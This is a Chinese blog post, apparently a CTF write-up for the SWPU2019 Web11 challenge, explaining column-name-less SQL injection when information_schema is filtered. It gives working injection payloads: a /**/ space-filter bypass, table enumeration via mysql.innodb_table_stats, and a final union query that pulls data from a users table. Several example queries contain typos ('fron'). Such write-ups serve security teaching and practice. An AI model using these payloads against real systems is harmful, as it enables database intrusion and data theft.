• sql注入information_schema代替,无列名注入之[SWPU2019]Web11


    知识点:
    当or 被过滤时不能使用information_schema;

    就可以使用mysql.innodb_table_stats代替;

    information_schema可以查到所有的数据库和表名和列名;

    但是mysql.innodb_table_stats只查到表名,所以不知道列名;

    就有了无列名注入

     正常使用:

    select `2` from (select 1,2,3 union select * from user)a;

    但是如果过滤了``反引号,就用到取别名的操作

    select b fron (select 1 as a,2 as b,3 as c union select * fron xxx)n;
    防止多余的话,也可以

    select b fron (select 1,2 as b,3 union select * fron xxx)n;

    知识点来源:SQL注入之无列名注入_noViC4的博客-CSDN博客_无列名注入

    在我们进行sql注入的时候,有时候information_schema这个库可能会因为过滤而无法调用,这时我们就不能通过这个库来查出表名和列名。不过我们可以通过两种方法来查出表名:

    1. InnoDb引擎
      从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。
    2. sys数据库
      在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。

    但是上述两种方法都只能查出表名,无法查到列名,这时我们就要用到无列名注入了。无列名注入,顾名思义,就是不需要列名就能注出数据的注入。

    使用:
    这道题过滤了空格,用/**/绕过;

    or 就用mysql.innodb_table_stats代替

    用不了order by ;只能一个一个测试出列数;有22列;

    (select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database())
     

     最终pay:

    -1'union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)k),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
     

  • 相关阅读:
    Python 中的花卉矩阵组合
    Chrome速度无人能敌?Safari也甘拜下风
    c++ 正则表达式
    JAVA之单元测试:Junit框架
    备战2024秋招面试题-最左匹配原则、索引失效情况、算法(最长回文子串)
    普瑞PS8742 Switch V0.9
    景联文科技语音数据标注:AUTO-AVSR模型和数据助力视听语音识别
    Ultra Math Preview : VSCode上的LaTeX公式实时预览插件
    learning项目总结
    【若依(ruoyi)】ztree初始化
  • 原文地址:https://blog.csdn.net/qq_58970968/article/details/126275146